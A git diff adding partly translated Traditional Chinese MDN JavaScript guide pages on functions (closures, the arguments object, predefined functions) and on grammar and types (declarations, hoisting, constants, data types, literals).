+<p>There are other ways to call functions. There are often cases where a function needs to be called dynamically, or the number of arguments to a function vary, or in which the context of the function call needs to be set to a specific object determined at runtime. It turns out that functions are, themselves, objects, and these objects in turn have methods (see the <a href="/en-US/docs/JavaScript/Guide/Obsolete_Pages/Predefined_Core_Objects/Function_Object" title="Function Object"><code>Function</code> object</a>). One of these, the <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/apply" title="apply"><code>apply()</code></a> method, can be used to achieve this goal.</p>
+
+<h2 class="deki-transform" id="Function_scope">Function scope</h2>
+
+<p>Variables defined inside a function cannot be accessed from anywhere outside the function, because the variable is defined only in the scope of the function. However, a function can access all variables and functions defined inside the scope in which it is defined. In other words, a function defined in the global scope can access all variables defined in the global scope. A function defined inside another function can also access all variables defined in it's parent function and any other variable to which the parent function has access.</p>
+
+<pre class="brush: js">// The following variables are defined in the global scope
+var num1 = 20,
+    num2 = 3,
+    name = "Chamahk";
+
+// This function is defined in the global scope
+function multiply() {
+  return num1 * num2;
+}
+
+multiply(); // Returns 60
+
+// A nested function example
+function getScore () {
+  var num1 = 2,
+      num2 = 3;
+
+  function add() {
+    return name + " scored " + (num1 + num2);
+  }
+
+  return add();
+}
+
+getScore(); // Returns "Chamahk scored 5"
+</pre>
+
+<h2 id="閉包">閉包</h2>
+
+<p>閉包是 JavaScript 最強大的特性之一。JavaScript 允許巢狀函式（nesting of functions）並給予內部函式完全訪問（full access）所有變數、與外部函式定義的函式（還有所有外部函式內的變數與函式）不過，外部函式並不能訪問內部函式的變數與函式。這保障了內部函式的變數安全。另外，由於內部函式能訪問外部函式定義的變數與函式，將存活得比外部函式還久。A closure is created when the inner function is somehow made available to any scope outside the outer function.</p>
+
+<pre class="brush: js">var pet = function(name) {          // The outer function defines a variable called "name"
+      var getName = function() {
+        return name;                // The inner function has access to the "name" variable of the outer function
+      }
+
+      return getName;               // Return the inner function, thereby exposing it to outer scopes
+    },
+    myPet = pet("Vivie");
+
+myPet();                            // Returns "Vivie"
+</pre>
+
+<p>It can be much more complex than the code above. An object containing methods for manipulating the inner variables of the outer function can be returned.</p>
+
+<pre class="brush: js">var createPet = function(name) {
+  var sex;
+
+  return {
+    setName: function(newName) {
+      name = newName;
+    },
+
+    getName: function() {
+      return name;
+    },
+
+    getSex: function() {
+      return sex;
+    },
+
+    setSex: function(newSex) {
+      if(typeof newSex == "string" &amp;&amp; (newSex.toLowerCase() == "male" || newSex.toLowerCase() == "female")) {
+        sex = newSex;
+      }
+    }
+  }
+}
+
+var pet = createPet("Vivie");
+pet.getName();                  // Vivie
+
+pet.setName("Oliver");
+pet.setSex("male");
+pet.getSex();                   // male
+pet.getName();                  // Oliver
+</pre>
+
+<p>In the codes above, the <code>name</code> variable of the outer function is accessible to the inner functions, and there is no other way to access the inner variables except through the inner functions. The inner variables of the inner function act as safe stores for the inner functions. They hold "persistent", yet secure, data for the inner functions to work with. The functions do not even have to be assigned to a variable, or have a name.</p>
+
+<pre class="brush: js">var getCode = (function(){
+  var secureCode = "0]Eal(eh&amp;2";    // A code we do not want outsiders to be able to modify...
+
+  return function () {
+    return secureCode;
+  };
+})();
+
+getCode();    // Returns the secret code
+</pre>
+
+<p>There are, however, a number of pitfalls to watch out for when using closures. If an enclosed function defines a variable with the same name as the name of a variable in the outer scope, there is no way to refer to the variable in the outer scope again.</p>
+
+<pre class="brush: js">var createPet = function(name) {  // Outer function defines a variable called "name"
+  return {
+    setName: function(name) {    // Enclosed function also defines a variable called "name"
+      name = name;               // ??? How do we access the "name" defined by the outer function ???
+    }
+  }
+}
+</pre>
+
+<p>The magical <code>this</code> variable is very tricky in closures. They have to be used carefully, as what <code>this</code> refers to depends completely on where the function was called, rather than where it was defined. An excellent and elaborate article on closures can be found <a class="external" href="http://jibbering.com/faq/notes/closures/">here</a>.</p>
+
+<h2 id="Using_the_arguments_object">Using the arguments object</h2>
+
+<p>The arguments of a function are maintained in an array-like object. Within a function, you can address the arguments passed to it as follows:</p>
+
+<pre class="brush: js">arguments[i]
+</pre>
+
+<p>where <code>i</code> is the ordinal number of the argument, starting at zero. So, the first argument passed to a function would be <code>arguments[0]</code>. The total number of arguments is indicated by <code>arguments.length</code>.</p>
+
+<p>Using the <code>arguments</code> object, you can call a function with more arguments than it is formally declared to accept. This is often useful if you don't know in advance how many arguments will be passed to the function. You can use <code>arguments.length</code> to determine the number of arguments actually passed to the function, and then access each argument using the <code>arguments</code> object.</p>
+
+<p>For example, consider a function that concatenates several strings. The only formal argument for the function is a string that specifies the characters that separate the items to concatenate. The function is defined as follows:</p>
+
+<pre class="brush: js">function myConcat(separator) {
+   var result = "", // initialize list
+       i;
+   // iterate through arguments
+   for (i = 1; i &lt; arguments.length; i++) {
+      result += arguments[i] + separator;
+   }
+   return result;
+}
+</pre>
+
+<p>You can pass any number of arguments to this function, and it concatenates each argument into a string "list":</p>
+
+<pre class="brush: js">// returns "red, orange, blue, "
+myConcat(", ", "red", "orange", "blue");
+
+// returns "elephant; giraffe; lion; cheetah; "
+myConcat("; ", "elephant", "giraffe", "lion", "cheetah");
+
+// returns "sage. basil. oregano. pepper. parsley. "
+myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");
+</pre>
+
+<p>Please note that the <code>arguments</code> variable is "array-like", but not an array. It is array-like in that is has a numbered index and a <code>length</code> property. However, it does not possess all of the array-manipulation methods.</p>
+
+<p>See the <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function" title="en-US/docs/JavaScript/Reference/Global Objects/Function"><code>Function</code> object</a> in the JavaScript Reference for more information.</p>
+
+<h2 id="Predefined_functions">Predefined functions</h2>
+
+<p>JavaScript has several top-level predefined functions:</p>
+
+<ul>
+ <li>{{ web.link("#eval_function", "eval") }}</li>
+ <li>{{ web.link("#isFinite_function", "isFinite") }}</li>
+ <li>{{ web.link("#isNaN_function", "isNaN") }}</li>
+ <li>{{ web.link("#parseInt_and_parseFloat_functions", "parseInt and parseFloat") }}</li>
+ <li>{{ web.link("#Number_and_String_functions", "Number and String") }}</li>
+ <li>{{ web.link("#escape_and_unescape_functions", "encodeURI, decodeURI, encodeURIComponent, and decodeURIComponent") }} (all available with Javascript 1.5 and later).</li>
+</ul>
+
+<p>The following sections introduce these functions. See the <a href="/en-US/docs/JavaScript/Reference" title="en-US/docs/JavaScript/Reference">JavaScript Reference</a> for detailed information on all of these functions.</p>
+
+<h3 id="eval_Function">eval Function</h3>
+
+<p>The <code>eval</code> function evaluates a string of JavaScript code without reference to a particular object. The syntax of <code>eval</code> is:</p>
+
+<pre class="brush: js">eval(expr);
+</pre>
+
+<p>where <code>expr</code> is a string to be evaluated.</p>
+
+<p>If the string represents an expression, <code>eval</code> evaluates the expression. If the argument represents one or more JavaScript statements, eval performs the statements. The scope of <code>eval</code> code is identical to the scope of the calling code. Do not call <code>eval</code> to evaluate an arithmetic expression; JavaScript evaluates arithmetic expressions automatically.</p>
+
+<h3 id="isFinite_function">isFinite function</h3>
+
+<p>The <code>isFinite</code> function evaluates an argument to determine whether it is a finite number. The syntax of <code>isFinite</code> is:</p>
+
+<pre class="brush: js">isFinite(number);
+</pre>
+
+<p>where <code>number</code> is the number to evaluate.</p>
+
+<p>If the argument is <code>NaN</code>, positive infinity or negative infinity, this method returns <code>false</code>, otherwise it returns <code>true</code>.</p>
+
+<p>The following code checks client input to determine whether it is a finite number.</p>
+
+<pre class="brush: js">if(isFinite(ClientInput)){
+   /* take specific steps */
+}
+</pre>
+
+<h3 id="isNaN_function">isNaN function</h3>
+
+<p>The <code>isNaN</code> function evaluates an argument to determine if it is "NaN" (not a number). The syntax of <code>isNaN</code> is:</p>
+
+<pre class="brush: js">isNaN(testValue);
+</pre>
+
+<p>where <code>testValue</code> is the value you want to evaluate.</p>
+
+<p>The <code>parseFloat</code> and <code>parseInt</code> functions return "NaN" when they evaluate a value that is not a number. <code>isNaN</code> returns true if passed "NaN," and false otherwise.</p>
+
+<p>The following code evaluates <code>floatValue</code> to determine if it is a number and then calls a procedure accordingly:</p>
+
+<pre class="brush: js">var floatValue = parseFloat(toFloat);
+
+if (isNaN(floatValue)) {
+   notFloat();
+} else {
+   isFloat();
+}
+</pre>
+
+<h3 id="parseInt_and_parseFloat_functions">parseInt and parseFloat functions</h3>
+
+<p>The two "parse" functions, <code>parseInt</code> and <code>parseFloat</code>, return a numeric value when given a string as an argument.</p>
+
+<p>The syntax of <code>parseFloat</code> is:</p>
+
+<pre class="brush: js">parseFloat(str);
+</pre>
+
+<p>where <code>parseFloat</code> parses its argument, the string <code>str</code>, and attempts to return a floating-point number. If it encounters a character other than a sign (+ or -), a numeral (0-9), a decimal point, or an exponent, then it returns the value up to that point and ignores that character and all succeeding characters. If the first character cannot be converted to a number, it returns "NaN" (not a number).</p>
+
+<p>The syntax of <code>parseInt</code> is:</p>
+
+<pre class="brush: js">parseInt(str [, radix]);
+</pre>
+
+<p><code>parseInt</code> parses its first argument, the string <code>str</code>, and attempts to return an integer of the specified <code>radix</code> (base), indicated by the second, optional argument, <code>radix</code>. For example, a radix of ten indicates to convert to a decimal number, eight octal, sixteen hexadecimal, and so on. For radixes above ten, the letters of the alphabet indicate numerals greater than nine. For example, for hexadecimal numbers (base 16), A through F are used.</p>
+
+<p>If <code>parseInt</code> encounters a character that is not a numeral in the specified radix, it ignores it and all succeeding characters and returns the integer value parsed up to that point. If the first character cannot be converted to a number in the specified radix, it returns "NaN." The <code>parseInt</code> function truncates the string to integer values.</p>
+
+<h3 id="Number_and_String_functions">Number and String functions</h3>
+
+<p>The <code>Number</code> and <code>String</code> functions let you convert an object to a number or a string. The syntax of these functions is:</p>
+
+<pre class="brush: js">var objRef;
+objRef = Number(objRef);
+objRef = String(objRef);
+</pre>
+
+<p><code>objRef 是物件的參照</code>。 Number uses the valueOf() method of the object; String uses the toString() method of the object.</p>
+
+<p>下列範例將<code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date" title="en-US/docs/JavaScript/Reference/Global Objects/Date"> 日期</a></code> 物件轉換為可讀字串。</p>
+
+<pre class="brush: js">var D = new Date(430054663215),
+    x;
+x = String(D); // x 等於 "星期二 八月 18 04:37:43 GMT-0700  1983"
+</pre>
+
+<p>下列範例將 <code><a class="internal" href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="en-US/docs/JavaScript/Reference/Global Objects/String">字串</a></code> 物件轉換為 <code><a class="internal" href="/en-US/docs/JavaScript/Reference/Global_Objects/Number" title="en-US/docs/JavaScript/Reference/Global Objects/Number">數字</a></code> 物件。</p>
+
+<pre class="brush: js">var str = "12",
+    num;
+num = Number(字串);
+</pre>
+
+<p>使用 DOM 方法 <code>write()</code> 與 JavaScript <code>typeof</code> 運算子.</p>
+
+<pre class="brush: js">var str = "12",
+    num;
+document.write(typeof str);
+document.write("&lt;br/&gt;");
+num = Number(str);
+document.write(typeof num);
+</pre>
+
+<h3 id="escape_與_unescape_函式(JavaScript_1.5後去除)">escape 與 unescape 函式(JavaScript 1.5後去除)</h3>
+
+<p><code>escape</code> 與 <code>unescape</code> 對於非ASCII 字元無法處理。 在 JavaScript 1.5 之後改用 <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/encodeURI" title="en-US/docs/JavaScript/Reference/Global_Functions/encodeURI">encodeURI</a></code>, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/decodeURI" title="en-US/docs/JavaScript/Reference/Global_Functions/decodeURI">decodeURI</a></code>, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/encodeURIComponent" title="en-US/docs/JavaScript/Reference/Global_Functions/encodeURIComponent">encodeURIComponent</a></code>, 與 <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/decodeURIComponent" title="en-US/docs/JavaScript/Reference/Global_Functions/decodeURIComponent">decodeURIComponent</a></code>.</p>
+
+<p><code>escape</code> 與 <code>unescape</code> 用於編碼與解碼字串。 <code>escape</code> 函式回傳十六進位編碼。 <code>unescape</code> 函式會將十六進位的編碼轉換回 ASCII 字串。</p>
+
+<p>這些函式的語法是:</p>
+
+<pre class="brush: js">escape(字串);
+unescape(字串);
+</pre>
+
+<p>這些函式常被用於伺服器後端中處理姓名等資料。</p>
diff --git a/files/zh-tw/web/javascript/guide/grammar_and_types/index.html b/files/zh-tw/web/javascript/guide/grammar_and_types/index.html
new file mode 100644
index 0000000000..ac059a7f24
--- /dev/null
+++ b/files/zh-tw/web/javascript/guide/grammar_and_types/index.html
@@ -0,0 +1,697 @@
+---
+title: 語法與型別
+slug: Web/JavaScript/Guide/Grammar_and_types
+tags:
+  - Guide
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</div>
+
+<p class="summary">本章討論 JavaScript 的基本語法與基礎資料類型、包括變數、常數、字元常數</p>
+
+<h2 id="基礎知識">基礎知識</h2>
+
+<p>JavaScript 許多基本語法借鑒自 Java，C或是C++，但亦受 Awk、Perl 和 Python 的影響。</p>
+
+<p>JavaScript 是 Case-sensitive（區分大小寫）並使用 Unicode 編碼。舉例來說，Früh (德文的"early") 可以當作變數的名稱。</p>
+
+<pre><code>var Früh = "foobar";</code></pre>
+
+<p>但變數 früh 並不等於 Früh，因為大小寫對 JavaScript 是有區別的。</p>
+
+<p>在 JavaScript 中，每行指令被稱為 {{Glossary("Statement", "Statements")}}，並用分號（;）分隔。空格、Tab 與換行符號皆被視為空白。JavaScript 的文件會從左到右進行掃描，並轉換成一系列的元素，像是令牌（Token）、控制字符（Control characters）、換行器（line terminators）、註解（Comments）或是空白（Withespace），ECMAScript 也定義了特定的保留字和字面值，並在每個沒有加分號的 Statement 自動加上分號。然而，推薦的作法還是在每個 Statement 的結尾自行加上分號，以防止一些潛在的副作用，如果需要更多資訊，可以參考<a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">這篇</a>。</p>
+
+<h2 id="註解（Comments）">註解（Comments）</h2>
+
+<p>註解語法跟 C++ 和其他語言相同：</p>
+
+<pre class="brush: js">// a one line comment
+
+/* this is a longer,
+   multi-line comment
+ */
+
+/* You can't, however, /* nest comments */ SyntaxError */</pre>
+
+<h2 id="宣告（Declarations）">宣告（Declarations）</h2>
+
+<p>JavaScript有三種宣告方式</p>
+
+<dl>
+ <dt>{{jsxref("Statements/var", "var")}}</dt>
+ <dd>宣告一個可隨意更改其內容的變數</dd>
+ <dt>{{jsxref("Statements/let", "let")}}</dt>
+ <dd>宣告一個可隨意更改其內容的區塊區域變數</dd>
+ <dt>{{jsxref("Statements/const", "const")}}</dt>
+ <dd>宣告一個只可讀取的不可變常數</dd>
+</dl>
+
+<h3 id="變數（Variables）">變數（Variables）</h3>
+
+<p>變數（variable）是對值（value）的引用，變數的名稱被稱為 {{Glossary("Identifier", "identifiers")}} 需要遵從一定的規則。</p>
+
+<p>在 JavaScript 中，變數必須使用字母（letter）、下底線（ _）、錢號（$）作為開頭；後面的字員組成可以包含數字（0-9）。JavaScript 是區分大小寫（case secsitive）的，大寫字母（'A' ~ 'Z'）和小寫字母（'a' ~ 'z'）皆可使用且不相等。</p>
+
+<p>You can use most of ISO 8859-1 or Unicode letters such as å and ü in identifiers (for more details see <a href="https://mathiasbynens.be/notes/javascript-identifiers-es6">this blog post</a>). You can also use the <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">Unicode escape sequences</a> as characters in identifiers.</p>
+
+<p>Some examples of legal names are <code>Number_hits</code>, <code>temp99</code>, <code>$credit</code>, and <code>_name</code>.</p>
+
+<h3 id="定義變數">定義變數</h3>
+
+<p>你可以透過三種方式來定義變數：</p>
+
+<ul>
+ <li>透過保留字 {{jsxref("Statements/var", "var")}} 來定義變數，舉例來說： <code>var x = 42</code>，這種方式可以用來定義區域以及全域變數。</li>
+ <li>直接指定一個值給該變數，例如：<code>x = 42</code>，這種方式只能定義全域變數，如果在方法外面使用該方法定義變數，嚴格模式裡會產生警告，該定義方式應該盡可能避免。</li>
+ <li>透過保留字 {{jsxref("Statements/let", "let")}}，舉例來說：<code>let y = 13</code>，{{jsxref("Statements/let", "let")}} 可以用來定義區塊裡的區域變數。想瞭解更多，可以參考<a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">變數區域</a>的章節。</li>
+</ul>
+
+<h3 id="變數取值">變數取值</h3>
+
+<p>變數可以透過 <code>var</code> 或是 <code>let</code> 來定義，如果尚未指定數值給該變數，那麼該變數的值會是 {{jsxref("undefined")}}。如果嘗試去存取未定義的變數，會跳出 {{jsxref("ReferenceError")}} 的例外。</p>
+
+<pre class="brush: js">var a;
+console.log('The value of a is ' + a); // The value of a is undefined
+
+console.log('The value of b is ' + b); // The value of b is undefined
+var b;
+
+console.log('The value of c is ' + c); // Uncaught ReferenceError: c is not defined
+
+let x;
+console.log('The value of x is ' + x); // The value of x is undefined
+
+console.log('The value of y is ' + y); // Uncaught ReferenceError: y is not defined
+let y; </pre>
+
+<p>你可以利用 <code>undefined</code> 來判斷該變數是否有值，在下面的程式碼的例子中，<code>input</code> 這個變數沒有賦值，<code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if</a> </code>判斷式會得到 <code>true</code> 的結果。</p>
+
+<pre class="brush: js">var input;
+if (input === undefined) {
+  doThis();
+} else {
+  doThat();
+}
+</pre>
+
+<p>被賦予 <code>undefined</code> 的變數，在被當做布林值的情境下都會被視為 <code>false</code>，以下面的例子來說，程式碼會執行 <code>myFunction</code>，因為 <code>myArray</code> 是 <code>undefined</code>：</p>
+
+<pre class="brush: js">var myArray = [];
+if (!myArray[0]) myFunction();
+</pre>
+
+<p>被賦予 <code>undefined</code> 的變數，在和數值進行運算之後，會被轉成非數值（<code>NaN</code>）：</p>
+
+<pre class="brush: js">var a;
+a + 2;  // Evaluates to NaN</pre>
+
+<p>當你對 {{jsxref("null")}} 進行運算，{{jsxref("null")}} 會自動轉換成數值 0，如果當做布林值運算，會被當成 <code>false</code>，舉例來說：</p>
+
+<pre class="brush: js">var n = null;
+console.log(n * 32); // Will log 0 to the console
+</pre>
+
+<h3 id="變數範圍">變數範圍</h3>
+
+<p>當我們在函式外宣告一個變數時，這個變數會是一個全域變數  (global variable), 因為在這份程式文件裡面的所有程式碼都可以使用到這個變數。但當我們只在函式內宣告變數時，這變數是區域變數 (local variable)，因為變數只會在函式內被使用到。</p>
+
+<p><strong>請注意!!</strong> 在 ECMAScript 2015 以前的 JavaScript 版本裡，並沒有定義區塊描述 (<a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Block_statement">block statement</a>) 的變數有效範圍。更精確的說，之前版本所定義的變數，其特性相當於全域變數；不只在宣告的區塊或函數裡面有效 ，其變數值還會超出宣告區塊而影響到全部的描述碼。</p>
+
+<p>從下面例子來看，其輸出結果會是 5。雖然 x 是在 if { } 區塊裡面被宣告的，但卻因為有全域變數的特性，因此溢出大括號而成為後續描述碼的變數值。</p>
+
+<pre class="brush: js">if (true) {
+  var x = 5;
+}
+console.log(x);  // x is 5
+</pre>
+
+<p>接著舉一個 ECMAScript 2015 之後的宣告範例。當使用了 <code>let</code>  這個區域變數宣告方式，變數 y 的有效範圍只有在 if { } 的範圍內，因此輸出結果是 ReferenceError。</p>
+
+<pre class="brush: js">if (true) {
+  let y = 5;
+}
+console.log(y);  // ReferenceError: y is not defined (y沒有被定義)
+</pre>
+
+<h3 id="變數提升">變數提升</h3>
+
+<p>在JavaScript 中另一件有關變數不常見的事, 是你可引用一個較晚宣告的變數並且不會有異常。這個概念被稱為「<strong>提升</strong>（<strong>hoisting</strong>）」；從意義上來說明，變數在 JavaScript 中是「被提升（hoisted）」或「被抬至（lifted）」到函式（function）或陳述式（statement）的頂部。<br>
+ 然而，被提升（hoisted）的變數將返回一個未定義的值（undefined）。所以即使你在使用或者引用這個變數之後才宣告和初始化它，它仍然會返回它是一個未定義的值（undefined）。</p>
+
+<pre class="brush: js">/**
+ * Example 1
+ */
+console.log(x === undefined); // true
+var x = 3;
+
+/**
+ * Example 2
+ */
+// will return a value of undefined
+var myvar = 'my value';
+
+(function() {
+  console.log(myvar); // undefined
+  var myvar = 'local value';
+})();
+</pre>
+
+<p>上面的例子可以轉譯成如下相同的程式:</p>
+
+<pre class="brush: js">/**
+ * Example 1
+ */
+var x;
+console.log(x === undefined); // true
+x = 3;
+
+/**
+ * Example 2
+ */
+var myvar = 'my value';
+
+(function() {
+  var myvar;
+  console.log(myvar); // undefined
+  myvar = 'local value';
+})();
+</pre>
+
+<p><br>
+ 由於提升(hoisting)，全部在函數(function) 中的 var 陳述式應該盡可能地置放在接近函數(function)的頂部。這個最佳實踐增加了程式碼的清晰度。<br>
+ <br>
+ 在ECMAScript 2015 中，let（const）不會將變數提升到區塊（block）的頂部。但是，在變數宣告之前就引用塊中的變數，會導致 {{jsxref("ReferenceError")}}。變數從區塊（block）的開始到宣告被處理之前，就處於「暫時無效（temporal dead zone）」。</p>
+
+<pre class="brush: js">console.log(x); // ReferenceError
+let x = 3;</pre>
+
+<h3 id="函式提升">函式提升</h3>
+
+<p>針對函式來說，只有函式宣告式(function declaration)提昇到頂部，但函式表示式(function exprssion) 不被提昇至頂部。</p>
+
+<pre class="brush: js">/* Function declaration */
+
+foo(); // "bar"
+
+function foo() {
+  console.log('bar');
+}
+
+
+/* Function expression */
+
+baz(); // TypeError: baz is not a function
+
+var baz = function() {
+  console.log('bar2');
+};
+</pre>
+
+<h3 id="全域變數_Global_variables">全域變數 (Global variables)</h3>
+
+<p>全域變數事實上是全域物件的屬性值。在網頁中的全域物件是 {{domxref("window")}}，因此你可使用 <code>window.<em>variable</em></code> 的語法來設定及存取全域變數。</p>
+
+<p>Consequently, 你可以指定 window 或 frame 物件的名稱來存取在另一個在 window 物件或 frame 物件所宣告的全域變數。例如，如果在一個文檔中已宣告一個稱為 <code>phoneNumber</code> 的變數，你可以在 iframe 中使用 <code>parent.phoneNumber</code> 來存取該變數</p>
+
+<h3 id="常數_Constants">常數 (Constants)</h3>
+
+<p>你可用 {{jsxref("Statements/const", "const")}} 關鍵字來建立一個唯讀、有名稱的常數。 常數識別子的命名語法與變數識別子的命名語法是一樣的: 必須由一個英文字母，底線或錢符號($)開始，之後可包含英文字母，數字及底線字元。</p>
+
+<pre class="brush: js">const PI = 3.14;
+</pre>
+
+<p>當程式執行時，無法再透過賦值或重新宣告來改變常數已設定的值。常數必須被初始化。</p>
+
+<p>The scope rules for constants are the same as those for <code>let</code> block-scope variables. If the <code>const</code> keyword is omitted, the identifier is assumed to represent a variable.</p>
+
+<p>你不能在同一個局部範圍內使用與其它函式或變數相同的名稱來宣告變數。例如:</p>
+
+<pre class="brush: js">// THIS WILL CAUSE AN ERROR
+function f() {};
+const f = 5;
+
+// THIS WILL CAUSE AN ERROR ALSO
+function f() {
+  const g = 5;
+  var g;
+
+  //statements
+}
+</pre>
+
+<p>但是常數物件內的物件屬性並不受到保護，因此以下陳述式可以正常執行。</p>
+
+<pre class="brush: js">const MY_OBJECT = {'key': 'value'};
+MY_OBJECT.key = 'otherValue';</pre>
+
+<h2 id="資料結構及型別">資料結構及型別</h2>
+
+<h3 id="資料型別_Data_types">資料型別 (Data types)</h3>
+
+<p>最新 ECMAScript 標準定義以下七種資料型別:</p>
+
+<ul>
+ <li>六種基本({{Glossary("Primitive", "primitives")}})資料型別 :
+  <ul>
+   <li>{{Glossary("Boolean")}}. <code>true</code> and <code>false</code>.</li>
+   <li>{{Glossary("null")}}. A special keyword denoting a null value. Because JavaScript is case-sensitive, <code>null</code> is not the same as <code>Null</code>, <code>NULL</code>, or any other variant.</li>
+   <li>{{Glossary("undefined")}}. A top-level property whose value is undefined.</li>
+   <li>{{Glossary("Number")}}. <code>42</code> or <code>3.14159</code>.</li>
+   <li>{{Glossary("String")}}. "Howdy"</li>
+   <li>{{Glossary("Symbol")}} (new in ECMAScript 2015). A data type whose instances are unique and immutable.</li>
+  </ul>
+ </li>
+ <li>and {{Glossary("Object")}}</li>
+</ul>
+
+<p>儘管這些變數關聯性很小, 他們可以讓你在你的應用程式中, 產生出有意義的函數. </p>
+
+<p><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object">物件</a>與 <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function" title="en-US/docs/JavaScript/Reference/Global Objects/Function">函數</a> 在語言中是其它的基本元素. 你可以把物件想成是一個被命名過且用來裝數值的容器,以及函數則為你的應用程式所執行的步驟.  </p>
+
+<h3 id="資料型別轉換">資料型別轉換</h3>
+
+<p>JavaScript 是一個動態型別的語言，這意味著你不需要在宣告變數時定義它的資料型別，程式執行時會自動轉換，你可以用下面方式宣告變數：</p>
+
+<div style="overflow: hidden;">
+<pre class="brush: js">var answer = 42;
+</pre>
+</div>
+
+<p>你可以指派字串在同個變數中，例如：</p>
+
+<div style="overflow: hidden;">
+<pre class="brush: js">answer = "Thanks for all the fish...";
+</pre>
+</div>
+
+<p>由於 Javascript 是一個動態型別的語言，因此這樣的宣告方式不會導致錯誤。</p>
+
+<p>在該陳述式中，它調用了字串和數字，並使用 + 進行運算，JavaScript 會自動把數字轉換成字串，例如：</p>
+
+<pre class="brush: js">x = "The answer is " + 42 // "The answer is 42"
+y = 42 + " is the answer" // "42 is the answer"
+</pre>
+
+<p>在該陳述式中，它調用了其它運算子，JavaScript 就不會將數字轉換成字串，例如：</p>
+
+<pre class="brush: js">"37" - 7 // 30
+"37" + 7 // "377"
+</pre>
+
+<h3 id="字串轉數值">字串轉數值</h3>
+
+<p>當代表數字的值以字串形式存在記憶體中，有些方法可用來將這種字串轉換成整數或浮點數。 </p>
+
+<ul>
+ <li id="parseInt()_and_parseFloat()">{{jsxref("parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("parseFloat", "parseFloat()")}}</li>
+</ul>
+
+<p><code>parseInt</code> 只會返回整數，因此減少了對小數的使用。此外，parseInt 的最佳實務是始終包含基數參數。基數參數用於指定使用的數值系統。</p>
+
+<p>另一個將字串轉成數字是使用單元 <code>+</code> (unary plus) 運算子:</p>
+
+<pre class="brush: js">'1.1' + '1.1' = '1.11.1'
+(+'1.1') + (+'1.1') = 2.2
+// 注意: 括號是為了易於閱讀，並不是必須的.</pre>
+
+<h2 id="字面值（Literals）">字面值（Literals）</h2>
+
+<p>您能使用字面值來表示JavaScript中的值。這些是您在腳本中實際提供的固定值，而不是變量。本節描述以下類型的字面值：</p>
+
+<ul>
+ <li>{{anch("Array literals")}}</li>
+ <li>{{anch("Boolean literals")}}</li>
+ <li>{{anch("Floating-point literals")}}</li>
+ <li>{{anch("Integers")}}</li>
+ <li>{{anch("Object literals")}}</li>
+ <li>{{anch("RegExp literals")}}</li>
+ <li>{{anch("String literals")}}</li>
+</ul>
+
+<h3 id="陣列字面值_Array_literals">陣列字面值 (Array literals)</h3>
+
+<p>陣列字面值是零或多個表達式的列表，每個表達式代表一個數組元素，並用方括號（[]）括起來。使用陣列字面值創建陣列時，將使用指定的值作為其元素對其進行初始化，並將其長度設置為指定的參數值。</p>
+
+<p>以下範例創建了陣列 <code>coffees</code> ，長度為 3 並包含三個元素：</p>
+
+<pre class="brush: js">var coffees = ['French Roast', 'Colombian', 'Kona'];
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> An array literal is a type of object initializer. See <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Using_object_initializers">Using Object Initializers</a>.</p>
+</div>
+
+<p>If an array is created using a literal in a top-level script, JavaScript interprets the array each time it evaluates the expression containing the array literal. In addition, a literal used in a function is created each time the function is called.</p>
+
+<p>Array literals are also <code>Array</code> objects. See {{jsxref("Array")}} and <a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections">Indexed collections</a> for details on <code>Array</code> objects.</p>
+
+<h4 id="Extra_commas_in_array_literals">Extra commas in array literals</h4>
+
+<p>You do not have to specify all elements in an array literal. If you put two commas in a row, the array is created with <code>undefined</code> for the unspecified elements. The following example creates the <code>fish</code> array:</p>
+
+<pre class="brush: js">var fish = ['Lion', , 'Angel'];
+</pre>
+
+<p>This array has two elements with values and one empty element (<code>fish[0]</code> is "Lion", <code>fish[1]</code> is <code>undefined</code>, and <code>fish[2]</code> is "Angel").</p>
+
+<p>If you include a trailing comma at the end of the list of elements, the comma is ignored. In the following example, the length of the array is three. There is no <code>myList[3]</code>. All other commas in the list indicate a new element.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Trailing commas can create errors in older browser versions and it is a best practice to remove them.</p>
+</div>
+
+<pre class="brush: js">var myList = ['home', , 'school', ];
+</pre>
+
+<p>In the following example, the length of the array is four, and <code>myList[0]</code> and <code>myList[2]</code> are missing.</p>
+
+<pre class="brush: js">var myList = [ ,'home', , 'school'];
+</pre>
+
+<p>In the following example, the length of the array is four, and <code>myList[1]</code> and <code>myList[3]</code> are missing. <strong>Only the last comma is ignored.</strong></p>
+
+<pre class="brush: js">var myList = ['home', , 'school', , ];
+</pre>
+
+<p>Understanding the behavior of extra commas is important to understanding JavaScript as a language, however when writing your own code: explicitly declaring the missing elements as <code>undefined</code> will increase your code's clarity and maintainability.</p>
+
+<h3 id="布林字面值_Boolean_literals">布林字面值 (Boolean literals)</h3>
+
+<p>布林型別有兩種字面值： <code>true</code> 跟 <code>false</code>.</p>
+
+<p>Do not confuse the primitive Boolean values <code>true</code> and <code>false</code> with the true and false values of the Boolean object. The Boolean object is a wrapper around the primitive Boolean data type. See {{jsxref("Boolean")}} for more information.</p>
+
+<h3 id="整數字面值_Numerical_literals">整數字面值 (Numerical literals)</h3>
+
+<p>整數能表示為「十進制」、「十六進制」、「八進制」、「二進制」</p>
+
+<ul>
